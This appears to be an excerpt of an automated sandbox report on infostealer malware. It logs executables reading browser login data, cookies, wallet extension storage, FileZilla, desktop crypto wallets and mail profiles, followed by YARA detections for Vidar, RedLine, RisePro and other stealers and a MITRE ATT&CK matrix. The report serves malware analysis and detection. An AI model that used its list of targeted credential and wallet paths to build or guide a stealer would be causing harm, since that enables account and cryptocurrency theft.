Source: C:\Users\user\Documents\SimpleAdobe\EPA5EhRzK9ZnpAjdUqLJteUs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\blnieiiffboillknjnepogjhkgnoapac\CURRENT
Source: C:\Users\user\Documents\SimpleAdobe\EEmC0rfrxeQDEUW4Qmh7BQX4.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-wal
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite
Source: C:\Users\user\Documents\SimpleAdobe\EPA5EhRzK9ZnpAjdUqLJteUs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\IndexedDB\chrome-extension_cjelfplplebdjjenllpjcblmjkfcffne_0.indexeddb.leveldb\CURRENT
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\Documents\SimpleAdobe\EPA5EhRzK9ZnpAjdUqLJteUs.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\yiaxs5ej.default\signons.sqlite
Source: C:\Users\user\Documents\SimpleAdobe\EPA5EhRzK9ZnpAjdUqLJteUs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn\CURRENT
Source: C:\Users\user\Documents\SimpleAdobe\EPA5EhRzK9ZnpAjdUqLJteUs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig\CURRENT
Source: C:\Users\user\Documents\SimpleAdobe\EPA5EhRzK9ZnpAjdUqLJteUs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj\CURRENT
Source: C:\Users\user\Documents\SimpleAdobe\EPA5EhRzK9ZnpAjdUqLJteUs.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\logins.json
Source: C:\Users\user\Documents\SimpleAdobe\EPA5EhRzK9ZnpAjdUqLJteUs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk\CURRENT
Source: C:\Users\user\Documents\SimpleAdobe\EPA5EhRzK9ZnpAjdUqLJteUs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih\CURRENT
Source: C:\Users\user\Documents\SimpleAdobe\EPA5EhRzK9ZnpAjdUqLJteUs.exe	File opened: C:\Users\user\AppData\Roaming\8pecxstudios\Cyberfox\profiles.ini
Source: C:\Users\user\Documents\SimpleAdobe\EEmC0rfrxeQDEUW4Qmh7BQX4.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-wal
Source: C:\Users\user\Documents\SimpleAdobe\EPA5EhRzK9ZnpAjdUqLJteUs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\IndexedDB\chrome-extension_hnfanknocfeofbddgcijnmhnfnkdnaad_0.indexeddb.leveldb\CURRENT
Source: C:\Users\user\Documents\SimpleAdobe\EPA5EhRzK9ZnpAjdUqLJteUs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne\CURRENT
Source: C:\Users\user\Documents\SimpleAdobe\EPA5EhRzK9ZnpAjdUqLJteUs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad\CURRENT
Source: C:\Users\user\Documents\SimpleAdobe\EPA5EhRzK9ZnpAjdUqLJteUs.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\formhistory.sqlite
Source: C:\Users\user\Documents\SimpleAdobe\EPA5EhRzK9ZnpAjdUqLJteUs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao\CURRENT
Source: C:\Users\user\Documents\SimpleAdobe\EPA5EhRzK9ZnpAjdUqLJteUs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln\CURRENT
Source: C:\Users\user\Documents\SimpleAdobe\EPA5EhRzK9ZnpAjdUqLJteUs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec\CURRENT
Source: C:\Users\user\Documents\SimpleAdobe\EPA5EhRzK9ZnpAjdUqLJteUs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj\CURRENT
Source: C:\Users\user\Documents\SimpleAdobe\EPA5EhRzK9ZnpAjdUqLJteUs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec\CURRENT
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\user\Documents\SimpleAdobe\EPA5EhRzK9ZnpAjdUqLJteUs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad\CURRENT
Source: C:\Users\user\Documents\SimpleAdobe\EPA5EhRzK9ZnpAjdUqLJteUs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln\CURRENT
Source: C:\Users\user\Documents\SimpleAdobe\EEmC0rfrxeQDEUW4Qmh7BQX4.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-shm
Source: C:\Users\user\Documents\SimpleAdobe\EPA5EhRzK9ZnpAjdUqLJteUs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao\CURRENT
Source: C:\Users\user\Documents\SimpleAdobe\_ebPmq_TcwNignYm0bf0ytJM.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\yiaxs5ej.default\places.sqlite	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\EPA5EhRzK9ZnpAjdUqLJteUs.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\signons.sqlite
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies
Source: C:\Users\user\Documents\SimpleAdobe\EPA5EhRzK9ZnpAjdUqLJteUs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj\CURRENT
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Cookies
Source: C:\Users\user\Documents\SimpleAdobe\EPA5EhRzK9ZnpAjdUqLJteUs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac\CURRENT
Source: C:\Users\user\Documents\SimpleAdobe\EPA5EhRzK9ZnpAjdUqLJteUs.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\yiaxs5ej.default\logins.json
Source: C:\Users\user\Documents\SimpleAdobe\EEmC0rfrxeQDEUW4Qmh7BQX4.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite
Source: C:\Users\user\Documents\SimpleAdobe\EPA5EhRzK9ZnpAjdUqLJteUs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi\CURRENT
Source: C:\Users\user\Documents\SimpleAdobe\EPA5EhRzK9ZnpAjdUqLJteUs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne\CURRENT
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Users\user\Documents\SimpleAdobe\EPA5EhRzK9ZnpAjdUqLJteUs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\IndexedDB\chrome-extension_blnieiiffboillknjnepogjhkgnoapac_0.indexeddb.leveldb\CURRENT
Source: C:\Users\user\Documents\SimpleAdobe\EPA5EhRzK9ZnpAjdUqLJteUs.exe	File opened: C:\Users\user\AppData\Roaming\NETGATE Technologies\BlackHawk\profiles.ini
Source: C:\Users\user\Documents\SimpleAdobe\EPA5EhRzK9ZnpAjdUqLJteUs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn\CURRENT
Source: C:\Users\user\Documents\SimpleAdobe\EPA5EhRzK9ZnpAjdUqLJteUs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk\CURRENT
Source: C:\Users\user\Documents\SimpleAdobe\EPA5EhRzK9ZnpAjdUqLJteUs.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini
Source: C:\Users\user\Documents\SimpleAdobe\EPA5EhRzK9ZnpAjdUqLJteUs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig\CURRENT
Source: C:\Users\user\Documents\SimpleAdobe\EPA5EhRzK9ZnpAjdUqLJteUs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\kpfopkelmapcoipemfendmdcghnegimn\CURRENT
Source: C:\Users\user\Documents\SimpleAdobe\EPA5EhRzK9ZnpAjdUqLJteUs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih\CURRENT

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Documents\SimpleAdobe\EEmC0rfrxeQDEUW4Qmh7BQX4.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Documents\SimpleAdobe\EEmC0rfrxeQDEUW4Qmh7BQX4.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\
Source: C:\Users\user\Documents\SimpleAdobe\EEmC0rfrxeQDEUW4Qmh7BQX4.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\
Source: C:\Users\user\Documents\SimpleAdobe\EEmC0rfrxeQDEUW4Qmh7BQX4.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\
Source: C:\Users\user\Documents\SimpleAdobe\EEmC0rfrxeQDEUW4Qmh7BQX4.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\
Source: C:\Users\user\Documents\SimpleAdobe\EEmC0rfrxeQDEUW4Qmh7BQX4.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\
Source: C:\Users\user\Documents\SimpleAdobe\EEmC0rfrxeQDEUW4Qmh7BQX4.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\
Source: C:\Users\user\Documents\SimpleAdobe\EEmC0rfrxeQDEUW4Qmh7BQX4.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\
Source: C:\Users\user\Documents\SimpleAdobe\EEmC0rfrxeQDEUW4Qmh7BQX4.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\
Source: C:\Users\user\Documents\SimpleAdobe\EEmC0rfrxeQDEUW4Qmh7BQX4.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\
Source: C:\Users\user\Documents\SimpleAdobe\EEmC0rfrxeQDEUW4Qmh7BQX4.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\
Source: C:\Users\user\Documents\SimpleAdobe\EEmC0rfrxeQDEUW4Qmh7BQX4.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\
Source: C:\Users\user\Documents\SimpleAdobe\EEmC0rfrxeQDEUW4Qmh7BQX4.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\
Source: C:\Users\user\Documents\SimpleAdobe\EEmC0rfrxeQDEUW4Qmh7BQX4.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\
Source: C:\Users\user\Documents\SimpleAdobe\EEmC0rfrxeQDEUW4Qmh7BQX4.exe	File opened: C:\Users\user\AppData\Roaming\Binance\
Source: C:\Users\user\Documents\SimpleAdobe\EEmC0rfrxeQDEUW4Qmh7BQX4.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\
Source: C:\Users\user\Documents\SimpleAdobe\EEmC0rfrxeQDEUW4Qmh7BQX4.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\
Source: C:\Users\user\Documents\SimpleAdobe\EEmC0rfrxeQDEUW4Qmh7BQX4.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\
Source: C:\Users\user\Documents\SimpleAdobe\EEmC0rfrxeQDEUW4Qmh7BQX4.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\
Source: C:\Users\user\Documents\SimpleAdobe\EEmC0rfrxeQDEUW4Qmh7BQX4.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\
Source: C:\Users\user\Documents\SimpleAdobe\EEmC0rfrxeQDEUW4Qmh7BQX4.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\
Source: C:\Users\user\Documents\SimpleAdobe\EEmC0rfrxeQDEUW4Qmh7BQX4.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\
Source: C:\Users\user\Documents\SimpleAdobe\EEmC0rfrxeQDEUW4Qmh7BQX4.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\atomic\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Binance\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\Cache\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\db\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Ethereum\wallets\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Documents\SimpleAdobe\_ebPmq_TcwNignYm0bf0ytJM.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\_ebPmq_TcwNignYm0bf0ytJM.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\_ebPmq_TcwNignYm0bf0ytJM.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\Zy329tNpRVznAcNUeSg4uGuQ.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini
Source: C:\Users\user\Documents\SimpleAdobe\Zy329tNpRVznAcNUeSg4uGuQ.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini
Source: C:\Users\user\Documents\SimpleAdobe\Zy329tNpRVznAcNUeSg4uGuQ.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676
Source: C:\Users\user\Documents\SimpleAdobe\ZMyjNtrJZsXoQ4xLeKYzrWJD.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini
Source: C:\Users\user\Documents\SimpleAdobe\ZMyjNtrJZsXoQ4xLeKYzrWJD.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini
Source: C:\Users\user\Documents\SimpleAdobe\ZMyjNtrJZsXoQ4xLeKYzrWJD.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676
Source: C:\Users\user\Documents\SimpleAdobe\EPA5EhRzK9ZnpAjdUqLJteUs.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini
Source: C:\Users\user\Documents\SimpleAdobe\EPA5EhRzK9ZnpAjdUqLJteUs.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini
Source: C:\Users\user\Documents\SimpleAdobe\EPA5EhRzK9ZnpAjdUqLJteUs.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676
Source: C:\Users\user\Documents\SimpleAdobe\EEmC0rfrxeQDEUW4Qmh7BQX4.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001
Source: C:\Users\user\Documents\SimpleAdobe\EEmC0rfrxeQDEUW4Qmh7BQX4.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002
Source: C:\Users\user\Documents\SimpleAdobe\EEmC0rfrxeQDEUW4Qmh7BQX4.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003
Source: C:\Users\user\Documents\SimpleAdobe\EEmC0rfrxeQDEUW4Qmh7BQX4.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004

Source: C:\Users\user\Documents\SimpleAdobe\7U1bGcxK3Lqi_XMHDNEdJrhB.exe	Directory queried: C:\Users\user\Documents\SimpleAdobe
Source: C:\Users\user\Documents\SimpleAdobe\7U1bGcxK3Lqi_XMHDNEdJrhB.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\Documents\SimpleAdobe\7U1bGcxK3Lqi_XMHDNEdJrhB.exe	Directory queried: C:\Users\user\Documents\SimpleAdobe

Remote Access Functionality

Yara detected CryptOne packer

Source: Yara match

File source: 0000000C.00000002.2320846713.0000000004319000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Yara detected Mars stealer

Source: Yara match	File source: 20.3.EEmC0rfrxeQDEUW4Qmh7BQX4.exe.4920000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.3.EEmC0rfrxeQDEUW4Qmh7BQX4.exe.4920000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000014.00000003.2296250403.0000000004920000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Yara detected PureLog Stealer

Source: Yara match	File source: 41.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.A_22rjVO67ooiUk2ueyL6tMl.exe.3ce6ff0.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.0.A_22rjVO67ooiUk2ueyL6tMl.exe.530000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.A_22rjVO67ooiUk2ueyL6tMl.exe.3ce6ff0.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000E.00000002.2606812448.0000000003C8C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000029.00000002.2465855956.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000000.2266197457.0000000000532000.00000002.00000001.01000000.0000000D.sdmp, type: MEMORY
Source: Yara match	File source: C:\Users\user\Documents\SimpleAdobe\A_22rjVO67ooiUk2ueyL6tMl.exe, type: DROPPED

Yara detected RedLine Stealer

Source: Yara match	File source: 11.2.J9jGBSSbDD3yrTx79DzmOLls.exe.aa0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.J9jGBSSbDD3yrTx79DzmOLls.exe.ac7ac0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.J9jGBSSbDD3yrTx79DzmOLls.exe.ac7ac0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000B.00000002.2290908467.0000000000AC7000.00000004.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: J9jGBSSbDD3yrTx79DzmOLls.exe PID: 3652, type: MEMORYSTR

Yara detected RisePro Stealer

Source: Yara match	File source: 0000000D.00000003.2439988856.0000000005CB1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000003.2429156164.0000000005AF6000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\G1Y1cICOYjk_P6MTvNhL7sj.zip, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\i2FqtYqlXCxQLo2ZIevRzA8.zip, type: DROPPED

Yara detected Vidar stealer

Source: Yara match	File source: 9.2.ogoGQsWFwF_EcodN5qF7hiVC.exe.477ac0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.zfQlIB6J8n2u_zLV5LHnA1xW.exe.4510000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.zfQlIB6J8n2u_zLV5LHnA1xW.exe.42e7719.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.3.EEmC0rfrxeQDEUW4Qmh7BQX4.exe.4920000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.zfQlIB6J8n2u_zLV5LHnA1xW.exe.4510000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.zfQlIB6J8n2u_zLV5LHnA1xW.exe.42e7719.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.zfQlIB6J8n2u_zLV5LHnA1xW.exe.2260000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.zfQlIB6J8n2u_zLV5LHnA1xW.exe.2260000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.ogoGQsWFwF_EcodN5qF7hiVC.exe.450000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.ogoGQsWFwF_EcodN5qF7hiVC.exe.477ac0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.3.EEmC0rfrxeQDEUW4Qmh7BQX4.exe.4920000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000009.00000002.2293452659.0000000000477000.00000004.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000003.2296250403.0000000004920000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.2337447194.0000000004510000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.2317913229.0000000002260000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.2320846713.0000000004210000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: ogoGQsWFwF_EcodN5qF7hiVC.exe PID: 3056, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: zfQlIB6J8n2u_zLV5LHnA1xW.exe PID: 3920, type: MEMORYSTR

Yara detected zgRAT

Source: Yara match	File source: 41.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.A_22rjVO67ooiUk2ueyL6tMl.exe.3ce6ff0.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.A_22rjVO67ooiUk2ueyL6tMl.exe.3ce6ff0.8.unpack, type: UNPACKEDPE

Source: C:\Users\user\Documents\SimpleAdobe\A_22rjVO67ooiUk2ueyL6tMl.exe

Code function: 14_2_6895A0C0 CorBindToRuntimeEx,GetModuleHandleW,GetModuleHandleW,__cftoe,GetModuleHandleW,GetProcAddress,

14_2_6895A0C0

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	221 Windows Management Instrumentation	1 DLL Side-Loading	1 Abuse Elevation Control Mechanism	51 Disable or Modify Tools	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	2 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 Windows Service	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	1 Credential API Hooking	14 File and Directory Discovery	Remote Desktop Protocol	31 Data from Local System	1 Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Shared Modules	1 Scheduled Task/Job	1 Bypass User Account Control	1 Abuse Elevation Control Mechanism	Security Account Manager	256 System Information Discovery	SMB/Windows Admin Shares	1 Email Collection	Steganography	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	3 Command and Scripting Interpreter	11 Registry Run Keys / Startup Folder	1 Windows Service	4 Obfuscated Files or Information	NTDS	1 Query Registry	Distributed Component Object Model	1 Credential API Hooking	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	1 Scheduled Task/Job	1 Services File Permissions Weakness	511 Process Injection	1 Install Root Certificate	LSA Secrets	10101 Security Software Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	1 Scheduled Task/Job	23 Software Packing	Cached Domain Credentials	571 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	11 Registry Run Keys / Startup Folder	1 Timestomp	DCSync	2 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	1 Services File Permissions Weakness	1 DLL Side-Loading	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	1 Bypass User Account Control	/etc/passwd and /etc/shadow	2 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
